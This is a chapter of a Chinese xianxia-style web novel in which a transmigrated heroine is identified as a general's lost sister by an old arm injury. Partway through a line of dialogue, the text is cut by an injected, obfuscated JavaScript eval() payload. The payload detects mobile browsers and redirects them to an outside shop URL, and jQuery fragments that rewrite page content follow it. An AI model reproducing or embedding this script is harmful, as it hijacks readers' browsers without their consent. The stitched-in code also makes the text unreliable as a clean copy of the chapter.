90. 试探与真相
作品:《i人穿越之被迫开朗记》 李小雨看着木子絮的脸,一时间没有反应过来。这和在背后说人闲话,被当事人逮个正着有什么区别。
江寂和归真也非常识趣地默默离去,唯有冷照像根针一样牢牢地扎在李小雨身边。
“我们不是故意八卦你的事情,就是单纯有些好奇而已,你别生气啊。”李小雨不好意思地笑了笑。
“我怎么会生气,你对我感兴趣,我很开心。”木子絮诚恳地说道。
见对方如此真诚,李小雨对自己畏首畏尾的行为反而有些惭愧,便大大方方地问她:“你是不是觉得我是你妹妹。”
“是。”
李小雨想了一会儿又说:“那如果我说我不是,你会信我吗?”
“不会。”
“······”
在一旁假装不经意路过的归真差点被这两人的对话惊掉下巴,而在旁边光明正大地听的冷照却像司空见惯。
“那你为什么不信我呢?”李小雨想,我有啥问题,现在就给你改。
“因为我认定的事情,不会动摇。”木子絮的语气依然温柔,但李小雨却感到一阵不可置疑的压迫感。
“你为什么觉得我是你妹妹,你难道不怕我是你仇人派来的卧底吗?”鉴于李小雨本人确实是苍雪峰派去青檀门的卧底,所以她说这话的时候完全没有任何心理负担。
“卧底也会坚决否认不是我妹妹吗?”木子絮笑着说。
“欲擒故纵?”李小雨斟酌着措辞。
“那么看来你的计策已经大获全胜了,我甘拜下风。”
木子絮嘴上看似服软,但李小雨总觉得自己才是那个一拳打在棉花上的人。于是乎,李小雨决定暂时不和她讨论身份问题,以免被对方的话给噎死。
“刚才我师父说你掌管北衡的兵权,连皇帝都不敢动你,是真的吗?”
“确实如此,但我手底下那些兵马只为国而战,并不是为我而战。不过,即便没有兵权,我也有属于自己的暗卫,保护我和我的家人。”
“这是可以直接说的嘛。”李小雨激动的眼睛亮闪闪。
“当然可以,雨霖铃是木家暗卫军无论在江湖还是朝廷都不算什么秘密。”
“名字倒是挺文雅的。”
“当时你被墨月心逼着学诗词歌赋的时候取的,我想可能因为这个词牌名有你的名字吧,真巧。”木子絮别有深意地笑望着李小雨。
可李小雨却因这巧合,莫名感到老天爷的恶趣味。难道这么多巧合预示自己注定要阴差阳错地鸠占鹊巢吗?
那被这只鸠占巢的雀,此时此刻又在何方呢?
李小雨觉得想这些自己根本无法解决的问题实在是痛苦,以至于脸上也流露出疲倦的神色。
冷照原本一言不发,此刻却突然对木子絮说:“我们需要休息,你不要来打扰。”
木子絮也觉得不能操之过急,即便察觉到对方的不客气,也不愿计较,只笑笑回到车中。
“别把她的话放心上,那些话都不是对你说的。”冷照安慰道。
“阿照,我只是突然在想,她的妹妹现在到底在哪里呢?”
冷照略一思索回答道:“冷锋是在碧溪救的你,那里的水寒气太重,一般人根本受不了。当时他也没有把握真的救活你,不过是死马当活马医。如今想来,他其实并没有救活他真正想救的人。”
“那她是怎么掉进去的呢?”李小雨问道。
“据说碧溪旁发现苍雪峰的天南令,所以世人都以为是苍雪峰搞的鬼。”
“不会真的是······”
“怎么可能,又杀又救的,冷锋也没那么闲,而且碧溪水风险太大了,弄不好自己也得搭进去,明显有人栽赃嫁祸。”
“或许是木将军的仇家,有没有可能是那个摄政王干的。”李小雨突然想起这个人物。
“既然你能想到,他们肯定也能想到,若有证据,他们早就闹的天翻地覆了。但据我所知,那时候楚遥王才遭遇袭击,正人心惶惶,应当无暇暗害她。况且听江寂所言,他们只是不对付,木家到底还是中立派,要真结下血海深仇怎么看都是得不偿失。”
经过一番头脑风暴,两人还是一无所获。
“或许真的只有当事人才能知道真相了。”冷照感叹道。
李小雨听完却有些释怀了,这帮聪明人都毫无头绪,自己想那么多也是自寻烦恼了,不如躺平。如此想着,默默扶额叹息,不知为何,李小雨总觉得掌心滚烫,似乎是来自于那颗朱砂痣。
经过几天几夜的舟车劳顿,音书一行人终于回到了青檀门。在看到那熟悉的大门的时候,大家不约而同地长舒一口气。
只是走到大门口的时候,站在他们面前迎接的人并不是他们料想中的任何一个,而是一位身着绿衣的女子。
音书见到她颇有些惊讶,因为她还没想好如何解释任务的失败,只是见她看到木子絮和李小雨同时出现时的温柔脸庞,音书忽然觉得解不解释的,已经没有任何意义了,显然已经惹怒对方了。
木子絮见状却是好心耳语道:“我在阮灵派找到妹妹属实是意外之喜,所以把这个好消息快马加鞭告诉她了。”
音书闻言,再见墨月心的笑容,更觉得毛骨悚然,只想快点逃离她的目光所及之处。
“月心,你居然来的那么快。”木子絮见到老友,心情大好,拉着刚下马的李小雨走到她面前。“你看,我找到了谁。”
李小雨被马儿颠簸的魂儿还没有归位,就见面前像一杆绿竹一样端方的貌美女子一脸温柔地看着她。
她有一张十分善良温柔的笑颜,仿佛不曾有悲伤忧愁的片刻停留。嘴角微微勾起,又平添一份独有的狡黠机灵。
按理说,李小雨遇到此等美女应当看的犯花痴才对,但离奇的是,当她对上墨月心那双黑的深不见底的眼睛的时候,下意识竟然是躲到木子絮的身后。
木子絮看到李小雨这样的反应竟不觉得奇怪,反而像想起什么趣事一样笑着说:“你记不记得,小妹第一次见你的时候也是这样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017581|183937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,躲在我身后不敢看你。我也是奇怪,阿霖向来天不怕地不怕,当时年纪又小,没人敢惹,简直就是我军营里的混世魔王。结果一见你,像小耗子见到猫一样。看来无论她忘记什么,对你的恐惧真像打娘胎来的。你老实交代,是不是趁我不在偷偷打我妹来着,我可饶不了你。”
“你借我一百个一千个一万个胆子,我也不敢打她啊。不然这小妮子跟你一告状,我还活不活了。”墨月心笑道。
“几位,要不先进去吧,这里也不是说话的地方,到我的缘生台上再叙旧。”音书适时地插话道。
冷照一把抓着李小雨的手,拉她过来。
木子絮原本心情极好,见到冷照又搞幺蛾子,难免有些抑制不住的怒火。
墨月心拦在两人之间,笑着对冷照说:“我们没什么恶意,如果你不放心可以与我们同行,趁此机会敞开天窗说亮话。”
江寂等人见这几人的反应,心里也猜的八九不离十,只得默契地先走一步,远离是非。
音书则是想跑也跑不了,任命地带他们去往缘生台,送她们进去之后也不停留,马不停蹄地去辣娘那边看望,顺便也躲躲清静。
偌大的缘生台此刻也只有她们四个人,正当李小雨不知如何开口,就听墨月心先发制人。
“你书信里给我卖什么关子,还不快点说清楚。”
“你看到人之后居然还不依不饶地问我要证据,是否太伤阿霖的心了。”
李小雨眼珠子滴溜溜地一转,默默转头看向冷照,以眼神示意,她说我应该伤心?
冷照轻轻摇了摇头,没必要。
墨月心没有搭话,木子絮只能给自己台阶下:“你这个人做事就是太古板,你不信就去摸摸她的胳膊肘。”
李小雨闻言突然戒备起来,冷照也蓄势待发,似乎她真的敢动手就剁了她的手。
墨月心却没有想一探究竟的举动,只认命似地说:“你摸到那个凹陷了。”
木子絮点了点头:“你知道的,这个地方知道的人只有三个。”
李小雨一头雾水,她们到底知道什么了,在这里打什么哑谜。
木子絮虽然不满墨月心的反应,但见她无话可说也放下心来,向李小雨和冷照解释道:“你十岁那年坐在树枝上等我凯旋归来,谁成想刚听到我回家的信儿,你就开心到从树上摔下来,手臂恰好磕到树下石头上,生生把骨头都砸凹进去,流了好多血。我们这位鬼医仙虽说医术天下第一,但也没神到生死肉骨的地步。她只能治好表面的创口,砸凹的骨头却再难恢复了。”
说到这里,木子絮有些愧疚的神色:“那时候举国上下都在庆祝打了胜仗,我也不想你受伤的事情传出去影响士气,所以这件事从头至尾只有我们三人知道。当时你还开玩笑的说,哪天被人贩子拐跑了,就用这个特征相认,没想到如今真一语成谶。”
墨月心闻言依旧一言不发,冷照也是眉头紧锁,唯有李小雨不合时宜地想,还好这件事没有传出去,否则真的丢人丢到家了。

